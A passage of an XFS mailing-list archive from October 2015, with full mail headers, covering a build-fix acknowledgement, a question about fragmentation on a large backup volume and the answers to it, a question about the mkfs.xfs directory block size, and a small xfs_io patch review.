text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1444771508 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.20 X-Barracuda-Spam-Status: No, SCORE=0.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC7_SA298e X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23462 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.20 BSF_SC7_SA298e Custom Rule SA298e On Tue, Oct 13, 2015 at 02:08:28PM -0700, Jim Davis wrote: > On Tue, Oct 13, 2015 at 1:41 PM, Dave Chinner wrote: > > On Tue, Oct 13, 2015 at 09:41:25AM -0700, Jim Davis wrote: > >> Building with the attached random configuration file, > >> > >> fs/built-in.o: In function `xfs_free_ag_extent': > >> /home/jim/linux-next/fs/xfs/libxfs/xfs_alloc.c:1813: undefined > >> reference to `xfsstats' > > > > Please test the patch below. > > Looks good! Thanks. > > Tested-by: Jim Davis Thanks for testing it quickly, Jim. Cheers, Dave. -- Dave Chinner david@fromorbit.com From cedric.lemarchand@ixblue.com Tue Oct 13 16:54:47 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CEB5F7F37 for ; Tue, 13 Oct 2015 16:54:46 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4D785AC004 for ; Tue, 13 Oct 2015 14:54:43 -0700 (PDT) X-ASG-Debug-ID: 1444773280-04cb6c110000c60001-NocioJ Received: from mail.ixserver.net (mail.ixserver.net [94.143.114.23]) by cuda.sgi.com with ESMTP id KJX6w95Ti9o4LduK for ; Tue, 13 Oct 2015 14:54:40 -0700 (PDT) X-Barracuda-Envelope-From: cedric.lemarchand@ixblue.com X-Barracuda-Apparent-Source-IP: 94.143.114.23 Received: from localhost (localhost [127.0.0.1]) by mail.ixserver.net (Postfix) with ESMTP id ABF508479CC for ; Tue, 13 Oct 2015 23:54:43 +0200 (CEST) Received: from mail.ixserver.net ([127.0.0.1]) by localhost (mail.ixserver.net [127.0.0.1]) (amavisd-new, port 10032) with ESMTP id A6VxVglSxHWP for ; Tue, 13 Oct 2015 23:54:42 +0200 (CEST) Received: from localhost (localhost [127.0.0.1]) by mail.ixserver.net (Postfix) with ESMTP id D382D8479CF for ; Tue, 13 Oct 2015 23:54:42 +0200 (CEST) X-Virus-Scanned: amavisd-new at mail.ixserver.net Received: from mail.ixserver.net ([127.0.0.1]) by localhost (mail.ixserver.net [127.0.0.1]) (amavisd-new, port 10026) with ESMTP id eUbNKHZXd4kB for ; Tue, 13 Oct 2015 23:54:42 +0200 (CEST) Received: from Cedrics-MacBook-Pro.local (unknown [185.105.31.249]) by mail.ixserver.net (Postfix) with ESMTPSA id A622C8479CA for ; Tue, 13 Oct 2015 23:54:42 +0200 (CEST) To: xfs@oss.sgi.com From: =?UTF-8?Q?C=c3=a9dric_Lemarchand?= Subject: Any way to slow down fragmentation ? X-Enigmail-Draft-Status: N1110 X-ASG-Orig-Subj: Any way to slow down fragmentation ? Message-ID: <561D7D9D.4030409@ixblue.com> Date: Tue, 13 Oct 2015 23:54:37 +0200 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: mail.ixserver.net[94.143.114.23] X-Barracuda-Start-Time: 1444773280 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23462 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- I think I actually have very bad fragmentation values, which unfortunately involve performances drop by an order of magnitude of 3x/4x. A defrag is actually running, but it's really really slow, to the point that I will need to constantly defrag the partition, which is not optimal. There are approximatively 500Go written sequentially every day, and almost 10/12T random writes every week due to backup files rotations. The partition has been formated with default options, over LVM (one VG/one LV). Here are somes questions : - is there mkfs.xfs or mounting options that could reduce the fragmentation over the time ? - the backup software writes use blocks size of ~4MB, as the previous question, any options to optimize differents layers (LVM & XFS) ? The underlaying FS could handle 1MB block size, should I set this value for XFS too ? do I need to play with "su" and "sw" as stated in the FAQ ? I admit that there are so many options that I am a bit lost. Thanks, C=C3=A9dric -- Some informations : VM running Debian Jessie, underlaying storage is software raid (ZFS). df -k Filesystem 1K-blocks Used Available Use% Mounted on /dev/mapper/VG2-LV1 53685000192 40921853928 12763146264 77% /vrepo1 xfs_db -r /dev/VG2/LV1 -c frag actual 4222, ideal 137, fragmentation factor 96.76% xfs_info /dev/VG2/LV1 meta-data=3D/dev/mapper/VG2-LV1 isize=3D256 agcount=3D50, agsize=3D268435455 blks =3D sectsz=3D512 attr=3D2, projid32bit=3D= 1 =3D crc=3D0 finobt=3D0 data =3D bsize=3D4096 blocks=3D13421771776, i= maxpct=3D5 =3D sunit=3D0 swidth=3D0 blks naming =3Dversion 2 bsize=3D4096 ascii-ci=3D0 ftype=3D0 log =3Dinternal bsize=3D4096 blocks=3D521728, versio= n=3D2 =3D sectsz=3D512 sunit=3D0 blks, lazy-co= unt=3D1 realtime =3Dnone extsz=3D4096 blocks=3D0, rtextents=3D= 0 ls -lh total 26T -rw-rw-rw- 1 root root 20M Oct 13 23:45 SG DAILY BACKUP.vbm -rw-r--r-- 1 root root 550G Sep 20 09:08 SG DAILY BACKUP2015-09-04T200116.vrb -rw-r--r-- 1 root root 363G Oct 12 00:25 SG DAILY BACKUP2015-09-07T200129.vrb -rw-r--r-- 1 root root 156G Sep 12 22:40 SG DAILY BACKUP2015-09-08T200100.vrb -rw-r--r-- 1 root root 777G Oct 12 00:20 SG DAILY BACKUP2015-09-09T200100.vrb -rw-r--r-- 1 root root 472G Sep 19 09:11 SG DAILY BACKUP2015-09-10T200113.vrb -rw-r--r-- 1 root root 617G Sep 19 17:15 SG DAILY BACKUP2015-09-11T200105.vrb -rw-r--r-- 1 root root 484G Sep 20 01:14 SG DAILY BACKUP2015-09-14T200056.vrb -rw-r--r-- 1 root root 454G Sep 20 15:45 SG DAILY BACKUP2015-09-15T200119.vrb -rw-r--r-- 1 root root 374G Sep 20 15:48 SG DAILY BACKUP2015-09-16T200101.vrb -rw-r--r-- 1 root root 465G Sep 26 22:50 SG DAILY BACKUP2015-09-17T200105.vrb -rw-r--r-- 1 root root 626G Sep 27 08:43 SG DAILY BACKUP2015-09-18T200110.vrb -rw-r--r-- 1 root root 533G Sep 27 17:25 SG DAILY BACKUP2015-09-21T200101.vrb -rw-r--r-- 1 root root 459G Sep 28 02:36 SG DAILY BACKUP2015-09-22T200059.vrb -rw-r--r-- 1 root root 460G Sep 28 11:32 SG DAILY BACKUP2015-09-23T200111.vrb -rw-r--r-- 1 root root 516G Oct 12 00:27 SG DAILY BACKUP2015-09-24T200058.vrb -rw-r--r-- 1 root root 593G Oct 3 20:05 SG DAILY BACKUP2015-09-25T200104.vrb -rw-r--r-- 1 root root 482G Oct 12 00:20 SG DAILY BACKUP2015-09-28T200108.vrb -rw-r--r-- 1 root root 466G Oct 12 00:26 SG DAILY BACKUP2015-09-29T200115.vrb -rw-r--r-- 1 root root 481G Oct 4 23:41 SG DAILY BACKUP2015-09-30T200109.vrb -rw-r--r-- 1 root root 548G Oct 12 00:26 SG DAILY BACKUP2015-10-01T200115.vrb -rw-r--r-- 1 root root 703G Oct 11 07:59 SG DAILY BACKUP2015-10-02T200055.vrb -rw-r--r-- 1 root root 409G Oct 11 04:05 SG DAILY BACKUP2015-10-05T200106.vrb -rw-r--r-- 1 root root 384G Oct 11 10:14 SG DAILY BACKUP2015-10-06T200059.vrb -rw-r--r-- 1 root root 335G Oct 11 19:49 SG DAILY BACKUP2015-10-07T104621.vrb -rw-r--r-- 1 root root 552G Oct 12 00:27 SG DAILY BACKUP2015-10-07T200123.vrb -rw-r--r-- 1 root root 90G Oct 12 00:27 SG DAILY BACKUP2015-10-08T200113.vrb -rw-r--r-- 1 root root 13T Oct 12 00:27 SG DAILY BACKUP2015-10-09T200112.vbk -rw-r--r-- 1 root root 620G Oct 13 20:01 SG DAILY BACKUP2015-10-12T200108.vib -rw-r--r-- 1 root root 424G Oct 13 23:46 SG DAILY BACKUP2015-10-13T200136.vib pvdisplay /dev/sdc --- Physical volume --- PV Name /dev/sdc VG Name VG2 PV Size 50.00 TiB / not usable 3.00 MiB Allocatable yes (but full) PE Size 4.00 MiB Total PE 13107199 Free PE 0 Allocated PE 13107199 PV UUID nkbLG0-fUNx-StT7-htil-UksF-GC7i-amDIA9 vgdisplay VG2 --- Volume group --- VG Name VG2 System ID Format lvm2 Metadata Areas 1 Metadata Sequence No 12 VG Access read/write VG Status resizable MAX LV 0 Cur LV 1 Open LV 1 Max PV 0 Cur PV 1 Act PV 1 VG Size 50.00 TiB PE Size 4.00 MiB Total PE 13107199 Alloc PE / Size 13107199 / 50.00 TiB Free PE / Size 0 / 0 VG UUID sjZjgR-M58f-Shrg-jxKu-TwBq-qL3X-BMXYEn lvdisplay /dev/VG2/LV1 --- Logical volume --- LV Path /dev/VG2/LV1 LV Name LV1 VG Name VG2 LV UUID rElcn9-cmsH-K3P5-nKOB-GcV0-fDf9-gozdgT LV Write Access read/write LV Creation host, time SG-VREPO1.ixblue.corp, 2015-08-09 10:40:53 +0200 LV Status available # open 2 LV Size 50.00 TiB Current LE 13107199 Segments 1 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 254:0 From sandeen@sandeen.net Tue Oct 13 17:05:05 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 631A57F54 for ; Tue, 13 Oct 2015 17:05:05 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 363338F8059 for ; Tue, 13 Oct 2015 15:05:02 -0700 (PDT) X-ASG-Debug-ID: 1444773899-04bdf06db300ce0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id qdXesl1oEDDxJeAV for ; Tue, 13 Oct 2015 15:05:00 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 625CE63BCF81 for ; Tue, 13 Oct 2015 17:04:59 -0500 (CDT) Subject: Re: Any way to slow down fragmentation ? To: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: Any way to slow down fragmentation ? References: <561D7D9D.4030409@ixblue.com> From: Eric Sandeen X-Enigmail-Draft-Status: N1110 Message-ID: <561D800B.90307@sandeen.net> Date: Tue, 13 Oct 2015 17:04:59 -0500 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: <561D7D9D.4030409@ixblue.com> Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1444773899 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23463 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 BSF_SC0_SA085 Custom Rule SA085 On 10/13/15 4:54 PM, Cédric Lemarchand wrote: > I think I actually have very bad fragmentation values, which > unfortunately involve performances drop by an order of magnitude of > 3x/4x. A defrag is actually running, but it's really really slow, to the > point that I will need to constantly defrag the partition, which is not > optimal. There are approximatively 500Go written sequentially every day, > and almost 10/12T random writes every week due to backup files rotations. Does anything besides the xfs_db "frag" command make you think that fragmentation is a problem? See below... > The partition has been formated with default options, over LVM (one > VG/one LV). > > Here are somes questions : > > - is there mkfs.xfs or mounting options that could reduce the > fragmentation over the time ? > - the backup software writes use blocks size of ~4MB, as the previous > question, any options to optimize differents layers (LVM & XFS) ? The > underlaying FS could handle 1MB block size, should I set this value for > XFS too ? do I need to play with "su" and "sw" as stated in the FAQ ? > > I admit that there are so many options that I am a bit lost. > > Thanks, > > Cédric > > -- > Some informations : VM running Debian Jessie, underlaying storage is > software raid (ZFS). > > > df -k > Filesystem 1K-blocks Used Available Use% Mounted on > /dev/mapper/VG2-LV1 53685000192 40921853928 12763146264 77% /vrepo1 > > xfs_db -r /dev/VG2/LV1 -c frag > actual 4222, ideal 137, fragmentation factor 96.76% http://xfs.org/index.php/XFS_FAQ#Q:_The_xfs_db_.22frag.22_command_says_I.27m_over_50.25._Is_that_bad.3F So in 137 files, you have 4222 extents, or an average of about 30 extents per file. Or put another way, you have 39026 gigabytes used, in 4222 extents, for an average of 9 gigabytes per extent. Those don't sound like problematic numbers. xfs_bmap on an individual file will show you its mapping. But for files of several hundred gigs, having several very large extents really is not a problem. I think the xfs_db frag command may be misleading you about where the problem lies. Of course it's possible that all but one of your files is well laid out, and that last file is horribly, horribly fragmented. But the top-level numbers don't tell us whether that might be the case. -Eric From alau2@cisco.com Tue Oct 13 17:05:26 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 88FFA7F59 for ; Tue, 13 Oct 2015 17:05:26 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4ABAB8F8065 for ; Tue, 13 Oct 2015 15:05:26 -0700 (PDT) X-ASG-Debug-ID: 1444773923-04bdf06db300d30001-NocioJ Received: from alln-iport-1.cisco.com (alln-iport-1.cisco.com [173.37.142.88]) by cuda.sgi.com with ESMTP id aU3h2g5AByAGXRrx (version=TLSv1 cipher=IDEA-CBC-SHA bits=128 verify=NO) for ; Tue, 13 Oct 2015 15:05:24 -0700 (PDT) X-Barracuda-Envelope-From: alau2@cisco.com X-Barracuda-Apparent-Source-IP: 173.37.142.88 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=cisco.com; i=@cisco.com; l=1647; q=dns/txt; s=iport; t=1444773925; x=1445983525; h=from:to:cc:subject:date:message-id:references: in-reply-to:content-transfer-encoding:mime-version; bh=1ilifmY51R/U9+Y9iuvJR7aAjkq4yZpMwqIViv0/Dh0=; b=KVDTEkAgtbG0CTo7U7PSk98+rWBaxOCOTZkNUMlxNThfd6Zj3+GFFzK6 3Ig8bWP0aOEmMMJCZP9ZaTkSB+OgaT8oTlp3tz/mIOeVoGk3/P1nD8W5m XGMM2LE2ibFgyi9BwUmq2Z0gGaUj/tthFpNuC2cOw1s7p3dS9cYZX+MsA I=; X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A0DwAQDnfh1W/4MNJK1egyaBQga+DAENgVqDE4MJAoFKOBQBAQEBAQEBgQqEJgEBAQMBOj8FBwQCAQgOAwQBAQEeCQcyFAkIAQEEDgUIiB4IwmUBAQEBAQEBAQEBAQEBAQEBAQEBAQEXi3OFDQcGhCgFlhYBjRKOdI0aAR8BAUKEAnGFa4EGAQEB X-IronPort-AV: E=Sophos;i="5.17,680,1437436800"; d="scan'208";a="197804705" Received: from alln-core-1.cisco.com ([173.36.13.131]) by alln-iport-1.cisco.com with ESMTP/TLS/DHE-RSA-AES256-SHA; 13 Oct 2015 22:05:23 +0000 Received: from XCH-RCD-019.cisco.com (xch-rcd-019.cisco.com [173.37.102.29]) by alln-core-1.cisco.com (8.14.5/8.14.5) with ESMTP id t9DM5NEt002175 (version=TLSv1/SSLv3 cipher=AES256-SHA bits=256 verify=FAIL); Tue, 13 Oct 2015 22:05:23 GMT Received: from xch-aln-020.cisco.com (173.36.7.30) by XCH-RCD-019.cisco.com (173.37.102.29) with Microsoft SMTP Server (TLS) id 15.0.1104.5; Tue, 13 Oct 2015 17:05:10 -0500 Received: from xch-aln-020.cisco.com ([173.36.7.30]) by XCH-ALN-020.cisco.com ([173.36.7.30]) with mapi id 15.00.1104.000; Tue, 13 Oct 2015 17:05:09 -0500 From: "Al Lau (alau2)" To: Dave Chinner CC: "xfs@oss.sgi.com" Subject: RE: mkfs.xfs -n size=65536 Thread-Topic: mkfs.xfs -n size=65536 X-ASG-Orig-Subj: RE: mkfs.xfs -n size=65536 Thread-Index: AdEC1680Gy4Y381SQNu4wXlh8fvUqwCn49kAACLdkLA= Date: Tue, 13 Oct 2015 22:05:09 +0000 Message-ID: References: <0F279340237AA148AD7E3C6A70561A5E01266BE7@xmb-rcd-x14.cisco.com> <20151013002308.GI27164@dastard> In-Reply-To: <20151013002308.GI27164@dastard> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-ms-exchange-transport-fromentityheader: Hosted x-originating-ip: [10.128.10.52] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Barracuda-Connect: alln-iport-1.cisco.com[173.37.142.88] X-Barracuda-Start-Time: 1444773924 X-Barracuda-Encrypted: IDEA-CBC-SHA X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23463 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature With xfs file system that has about 1 million files, would the default valu= e for the directory structure be sufficient? We can remove the "-n size=3D= '" option and just use the default. Thanks, -Al -----Original Message----- From: Dave Chinner [mailto:david@fromorbit.com]=20 Sent: Monday, October 12, 2015 5:23 PM To: Al Lau (alau2) Cc: xfs@oss.sgi.com Subject: Re: mkfs.xfs -n size=3D65536 On Fri, Oct 09, 2015 at 10:40:00PM +0000, Al Lau (alau2) wrote: > I am looking for more details on the "-n size=3D65536" option in=20 > mkfs.xfs. The question is the memory allocation this option=20 > generates. The system is Redhat EL 7.0 (3.10.0-229.1.2.el7.x86_64). >=20 > We have been getting this memory allocation deadlock message in the=20 > /var/log/messages file. The file system is used for ceph OSD and it=20 > has about 531894 files. So, if you only have half a million files being stored, why would you optim= ised the directory structure for tens of millions of files in a single dire= ctory? > Oct 6 07:11:09 abc-ceph1-xyz kernel: XFS: possible memory allocation=20 > deadlock in kmem_alloc (mode:0x8250) mode =3D ___GFP_WAIT | ___GFP_IO | ___GFP_NOWARN | ___GFP_ZERO =3D GFP_NOFS | GFP_ZERO | GFP_NOWARN which means it's come through kmem_zalloc() and so is a heap allocation and= hence probably quite small. Hence I doubt that has anything to do with the directory block size, as the= directory blocks are allocated as single pages through a completely alloca= tion different path and them virtually mapped... Cheers, Dave. -- Dave Chinner david@fromorbit.com From darrick.wong@oracle.com Tue Oct 13 17:40:18 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 527D97F3F for ; Tue, 13 Oct 2015 17:40:18 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 40D9D8F8064 for ; Tue, 13 Oct 2015 15:40:18 -0700 (PDT) X-ASG-Debug-ID: 1444776012-04cb6c110202ed0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id XaLj5175H4tFaX9o (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 13 Oct 2015 15:40:12 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9DMdmHm006422 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 13 Oct 2015 22:39:48 GMT Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72]) by aserv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t9DMdm7G025812 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Tue, 13 Oct 2015 22:39:48 GMT Received: from abhmp0001.oracle.com (abhmp0001.oracle.com [141.146.116.7]) by userv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t9DMdl4f026133; Tue, 13 Oct 2015 22:39:47 GMT Received: from localhost (/10.145.178.207) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 13 Oct 2015 15:39:47 -0700 Date: Tue, 13 Oct 2015 15:39:43 -0700 From: "Darrick J. Wong" To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 01/51] libxcmd: provide a common function to report command runtimes Message-ID: <20151013223943.GH10397@birch.djwong.org> X-ASG-Orig-Subj: Re: [PATCH 01/51] libxcmd: provide a common function to report command runtimes References: <20151007050513.1504.28089.stgit@birch.djwong.org> <20151007050520.1504.59073.stgit@birch.djwong.org> <20151013174827.GA31669@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151013174827.GA31669@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Source-IP: aserv0022.oracle.com [141.146.126.234] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444776012 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23464 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines On Tue, Oct 13, 2015 at 10:48:27AM -0700, Christoph Hellwig wrote: > On Tue, Oct 06, 2015 at 10:05:20PM -0700, Darrick J. Wong wrote: > > Refactor the open-coded runtime stats reporting into a library > > command, then update xfs_io commands to use it. > > We need to pass the actual operation that we summarize, otherwise > various tests are very unhappy: > > diff --git a/include/command.h b/include/command.h > index 51dae6a..fb86f7a 100644 > --- a/include/command.h > +++ b/include/command.h > @@ -58,8 +58,8 @@ extern void command_loop(void); > extern int command_usage(const cmdinfo_t *ci); > extern int command(const cmdinfo_t *ci, int argc, char **argv); > > -extern void report_io_times(struct timeval *t2, long long offset, > - long long count, long long total, > - int ops, int condensed); > +extern void report_io_times(const char *op, struct timeval *t2, > + long long offset, long long count, > + long long total, int ops, int condensed); > > #endif /* __COMMAND_H__ */ > diff --git a/io/pread.c b/io/pread.c > index 66ea945..f16c86c 100644 > --- a/io/pread.c > +++ b/io/pread.c > @@ -487,7 +487,7 @@ pread_f( > gettimeofday(&t2, NULL); > t2 = tsub(t2, t1); > > - report_io_times(&t2, (long long)offset, count, total, c, Cflag); > + report_io_times("read", &t2, (long long)offset, count, total, c, Cflag); Aha! I knew I'd forgotten to send out an updated patch for _something_. Thank you for catching this! --D > return 0; > } > > diff --git a/io/pwrite.c b/io/pwrite.c > index 81f6abe..f354de3 100644 > --- a/io/pwrite.c > +++ b/io/pwrite.c > @@ -384,7 +384,7 @@ pwrite_f( > gettimeofday(&t2, NULL); > t2 = tsub(t2, t1); > > - report_io_times(&t2, (long long)offset, count, total, c, Cflag); > + report_io_times("wrote", &t2, (long long)offset, count, total, c, Cflag); > done: > if (infile) > close(fd); > diff --git a/io/reflink.c b/io/reflink.c > index 3572728..20007bf 100644 > --- a/io/reflink.c > +++ b/io/reflink.c > @@ -161,7 +161,7 @@ dedupe_f( > gettimeofday(&t2, NULL); > t2 = tsub(t2, t1); > > - report_io_times(&t2, (long long)doffset, count, total, ops, condensed); > + report_io_times("linked", &t2, (long long)doffset, count, total, ops, condensed); > done: > close(fd); > return 0; > @@ -284,7 +284,7 @@ clone_all: > gettimeofday(&t2, NULL); > t2 = tsub(t2, t1); > > - report_io_times(&t2, (long long)doffset, count, total, ops, condensed); > + report_io_times("linked", &t2, (long long)doffset, count, total, ops, condensed); > done: > close(fd); > return 0; > diff --git a/io/sendfile.c b/io/sendfile.c > index ced6369..21ab444 100644 > --- a/io/sendfile.c > +++ b/io/sendfile.c > @@ -151,7 +151,7 @@ sendfile_f( > gettimeofday(&t2, NULL); > t2 = tsub(t2, t1); > > - report_io_times(&t2, (long long)offset, count, total, c, Cflag); > + report_io_times("sent", &t2, (long long)offset, count, total, c, Cflag); > done: > if (infile) > close(fd); > diff --git a/libxcmd/command.c b/libxcmd/command.c > index 5a5bb01..04f66de 100644 > --- a/libxcmd/command.c > +++ b/libxcmd/command.c > @@ -195,6 +195,7 @@ command_loop(void) > > void > report_io_times( > + const char *op, > struct timeval *t2, > long long offset, > long long count, > @@ -208,8 +209,8 @@ report_io_times( > if (!condensed) { > cvtstr((double)total, s1, sizeof(s1)); > cvtstr(tdiv((double)total, *t2), s2, sizeof(s2)); > - printf(_("linked %lld/%lld bytes at offset %lld\n"), > - total, count, (long long)offset); > + printf(_("%s %lld/%lld bytes at offset %lld\n"), > + op, total, count, (long long)offset); > printf(_("%s, %d ops; %s (%s/sec and %.4f ops/sec)\n"), > s1, ops, ts, s2, tdiv((double)ops, *t2)); > } else {/* bytes,ops,time,bytes/sec,ops/sec */ > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From ross.zwisler@linux.intel.com Tue Oct 13 17:51:13 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id EE5AB7F37 for ; Tue, 13 Oct 2015 17:51:12 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id B3FD48F8035 for ; Tue, 13 Oct 2015 15:51:12 -0700 (PDT) X-ASG-Debug-ID: 1444776670-04cbb06ef402fe0001-NocioJ Received: from mga02.intel.com (mga02.intel.com [134.134.136.20]) by cuda.sgi.com with ESMTP id 25zcLgl3YNzeNTvg for ; Tue, 13 Oct 2015 15:51:11 -0700 (PDT) X-Barracuda-Envelope-From: ross.zwisler@linux.intel.com X-Barracuda-Apparent-Source-IP: 134.134.136.20 X-ASG-Whitelist: EmailCat (corporate) 